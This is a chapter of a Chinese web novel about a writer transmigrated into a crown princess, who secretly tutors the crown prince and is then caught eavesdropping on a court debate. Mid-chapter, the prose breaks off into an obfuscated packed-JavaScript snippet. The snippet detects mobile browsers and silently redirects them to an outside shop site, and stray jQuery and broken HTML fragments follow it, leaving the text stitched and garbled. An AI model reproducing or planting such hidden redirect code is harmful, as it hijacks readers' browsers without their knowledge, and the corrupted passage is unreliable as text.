时间还是回到三日前,褚一墨眼睁睁看着太子踹了汪志祥一脚、到皇帝面前辩论,还踢翻了小太监送来的折子。
人已经麻木了啊。
他本来以为像自己从前那样不管不顾地、毫无所谓地就这样消失在自己的故事挺好,宛如麻辣烫里面一条泡软的海带,不知不觉就烂了。这样他的人生就是一则凄美的故事。
后来发现他自己想多了。
这个太子一来,好家伙,他觉得自己明天就可以领盒饭了,如果这个世界有盒饭的话。
刚开始心跳速度还经得住剧烈的起伏,后面就直接……算了吧,看到什么他都不惊讶了。
以前乱写的稿子里面,太子成亲没多久,就因为冒进,先连累了太子妃,再是自己遭殃被杀。
但按照现在这个太子这样的行事风格,汪志祥可不会像以前乱写的那样无声无息找个理由就简单结果了他,可能会出大事。
褚一墨回到寝殿,坐在桌旁手指不住地敲击桌面,一会儿右手敲一会儿左手敲,然后两只手一起敲,想要双手狂捋一下头发,但是发现头上发饰太多了。
我当初为什么不写完整啊!
厚厚的云层挡住了月色,夜空黑沉,让人心里又压抑又恼火。
到睡觉的时间了,一般太子就是这个点就寝的,可是褚一墨现在完全睡不着,仿佛回到了他本来的作息。
他独自一人躺在床上翻来覆去,时不时看向门外。
那个太子……监工监完了没有啊,怎么还不回来……
翻个身。
我想这些干什么,他不来我睡得更好。
又翻个身。
成亲的时候,他装得那叫一个正直啊,搞得像真的一样。纸片人偷了我的身体还想把我比过去么?
坐起来。
不是,他现在到底在哪儿啊!
门开了。
门外的太子看上去比褚一墨更加惊讶,“太子妃还没睡吗?”
褚一墨赶紧并拢双腿,捋了下脖子上的头发,随后下床,脚步宛如蜻蜓点水。
“殿下,”褚一墨装腔作势行礼道,“殿下今日辛苦了,可还顺利吗?”
“呃……嗯,顺利,顺利,太子妃不用担心,早点睡吧。”
“那我为殿下更衣。”
“不用!不用不用不用!”太子连连摆手像个拨浪鼓。
“殿下……”
“太子妃今日受惊了,早点睡吧,我要去净房,太子妃不用等我了。”
“哦,是,殿下。”
褚一墨怏怏地回床上平躺着。
这个人看着和善,实际上倒是很疏离啊。
那他今天还睡那个小榻吗?
褚一墨又装模做样把一个枕头横在床中间,然后又把枕头拿开。
他去个厕所去这么久的么?干嘛呢?
不会睡里面了吧?
这时,净房里面传来很细微的声响。
是木头的声音。
褚一墨忍无可忍,决定下床,偷偷去净房看一眼,反正是自己的身体,有什么不能看的。
褚一墨蹑手蹑脚走到净房门口,耳朵贴上去听。鸦雀无声呐。
他将门推开一条缝,木头发出干涩的嘎吱声,他赶紧停手,动作静止不敢呼吸。
里面似乎没有因为这声音而有什么反应。不会真睡着了吧大哥?
他朝门缝里看去。
倒吸一口冷气。
里面没人呐!
褚一墨一把打开门,把净房每个角落里里外外检查了一遍,然后视线落到窗子上,他绝望地闭上了眼睛。
大晚上的,他要去哪里啊!我真是服了啊!
褚一墨穿好外衣,想要提着灯出去,但思索了一番,又见乌云散去,月光正好,便也趁着月色溜出去。
东宫看上去还是和往日一样荒凉。
又是嘎吱一声。褚一墨朝声音的方向看去,是书房。
他轻手轻脚走过去,站在窗外,不用开窗看就知道,里面一定有人。
只是这个时候,他倒是不确定,到底是太子,还是别的什么人。
就在他还犹豫不决之时,窗开了。
“啊!”
“嘘!”
好大的声音好小的胆子,不怕引别人来啊。
“搭把手。”在太子还没控制住自己异样的表情时,褚一墨伸手翻窗。
“你说的不读书,是装的呀?”褚一墨试探道。
“让太子妃见笑了,我这个太子确实……确实读书上不太尽心,如今想来也是后悔。”
这个纸片人,逻辑还挺自洽?
那他有我之前的记忆么?继承了我的身体,也会继承我的记忆么?
看来并没有,他明摆着是想大晚上偷偷来学习,如果有我的记忆,这些成芝麻烂谷子的事情怎么可能不知道。
见他满目愁容,褚一墨心里倒是有些过意不去,毕竟,这是他留下的烂摊子。
好在这两年他耗在这里,对局面还是了解的。
“学习的事情还是要抓重点……”
于是,深夜的补习班开始了,褚一墨恢复了原来一点都不正常的作息,心情倒是比以前好了很多。白天,他在寝殿补觉,太子在书房假装监工,晚上,两个人再蒙头学习。
褚一墨发现,这个纸片人,好像有点意思?脑子有点灵活,学得倒也不慢,虽然有时候有些碎嘴,时不时抱怨两声,但基本上一点就通。
褚一墨突然间有些幻想,要是真靠这个纸片人太子,故事可能会有转机?
“有大臣上书弹劾殿下不理朝政!”
一点转机都没有啊!
汪志祥根本不可能放过他。
“这段时间委屈太子妃了。”太子握住了褚一墨的手,他的心突然有些沉了。
“殿下莫要掉以轻心,朝堂的境况不会比东宫更好的。”
太子不知是在安慰自己,还是真的心情放松,“一直龟缩不前,又有什么意趣呢?太子妃放心。”然后,太子昂首阔步地走了。
这不会是他第一次上朝吧……就这么几天能行么……
褚一墨双手手指交替敲击书案,眼睛不自觉地东张西望,想要找点什么东西分散一下注意力。
他站起来拨弄拨弄架子上的手鼓,闻闻新搬来的花草,手指时不时敲击一下书架。
算了还是跟去吧!
看完了太子整场朝堂辩论,没想到这个纸片人还挺厉害,倒是我瞎操心了。
褚一墨长长呼出一口气,转身就要离开,霎那间背后有人拽住自己胳膊。
“奴才发现太子妃在墙角偷听!”
糟了!
猪队友!
褚一墨被贾公公一路拽到皇帝面前。
“陛下,汪公公,这、这太子妃在后面,奴才、奴才没听说太子妃被传召了呀。”
汪志祥抬起头,露出志得意满的笑容,“太子殿下,太子妃这是贸然干政,你可要为她开脱?”
见太子眉头紧皱,视线小幅度地抖动着,褚一墨自觉连累太子。刚想下跪服软,身后传来扑通一声。
“老臣教女无方,还请陛下恕罪!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744055|209191||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
褚一墨回头朝那人看去,那人身着绯红官袍,长着一双杏眼,鼻子有些宽,下巴胡须灰白。
“老臣苏承舟,教女无方,竟然纵得她不知天高地厚,都是老臣的罪过。多亏汪公公的人机敏警觉,否则岂非酿成大祸!”说着,那人又伏地磕头。
“苏丞相。”汪志祥发话,“你这女儿很是不错,不仅引诱太子喜好奢靡,还想干预朝政!”
“我说了她没有!”太子声音洪亮,眼眶有些充血。
“殿下!太子妃干预朝政,当场抓获,百官皆是人证,有何可抵赖的?”汪志祥气焰愈发嚣张。
“那是因为……”
看到太子攥着拳头,褚一墨突然有种不详的预感。
“那是因为,是我想让太子妃旁听的!”太子大喊一声,广场上万籁俱寂/
“本宫不仅要自己参政学习,还要让太子妃一起参政学习!”
我的天爷啊。
褚一墨感觉自己灵魂已经升天了。
“这这这……这成何体统啊!”
“太子殿下你是要以权谋私啊!”
广场上顿时如炸开天一般七嘴八舌。
“启禀父皇,儿臣发现,太子妃不仅心地善良、品行高洁,而且博学多才,这样的人,不为我燊国所用,实在可惜!儿臣惜才,所以让太子妃在外旁听。一切都是儿臣的错!还请陛下责罚!”
“真是荒谬,太子妃未经科考,便可在这朝堂之上有一席之地,让我们这些人如何信服?”
“程尚书,敢问,若您现在不是这工部尚书,这屯田水利之事,是不是还依旧精通?”
“那是自然,臣积年累月的辛劳,岂是一朝一夕就可消磨的。”
“所以,不管您是不是尚书,您的学识依旧深厚。那么不管苏昱珉是不是太子妃,她的学识就是她的学识。”
“太子这是强词夺理!”
场面顿时一片焦灼,褚一墨看太子舌战群雄,而身后的苏承舟虽然是太子妃的父亲,却是萎缩懦弱,一言不发。
也是,如果不是讨好了汪志祥,怎么可能当上丞相。太子势弱的时候把自己女儿送过来当工具,太子和太子妃有危险了,假装争辩两句捣糨糊。
没办法,看来,只能使上杀手锏了。
“父皇——”褚一墨跪倒在地,手捂着胸口,再抬头,便是梨花带雨。
“父皇!儿臣有罪!”说着,掩面哭得上气不接下气。
见皇帝没有反应,褚一墨接着哭,“之前的事情,都是儿臣的错,太子殿下仁慈,却不想殿下因为我而受到非议。儿臣担心太子殿下,所以才会冒着死罪的风险来到这里。实在……实在是因为仰慕殿下的缘故啊!若是……若是殿下因为我而被责罚……我……甘愿受罚……只求陛下放了……放了殿下……呜呜呜……”
褚一墨哭着哭着,用一个极其做作的姿势就要昏倒在地,被太子扶助。
“父皇,是儿臣的错。”褚一墨听到太子在自己身边说道,“是儿臣天真,儿臣错了,还请陛下责罚。”
“陛下——”汪志祥发出尖利的声音,“太子殿下过于年轻气盛了,怕是不适合再参与国事。至于这太子妃,巧言令色,迷惑君主,怕是留不住啊。”
褚一墨听着,又大声哭了起来,哭得像是呼吸性碱中毒。
皇帝抹了抹额头,用力闭上眼睛,随后睁开,眼睛眨了好几下,“太子、太子妃即日起幽禁东宫,太子也……不必上朝了。”
“父皇!”
“陛下!”
“哎,行了,就这样吧。”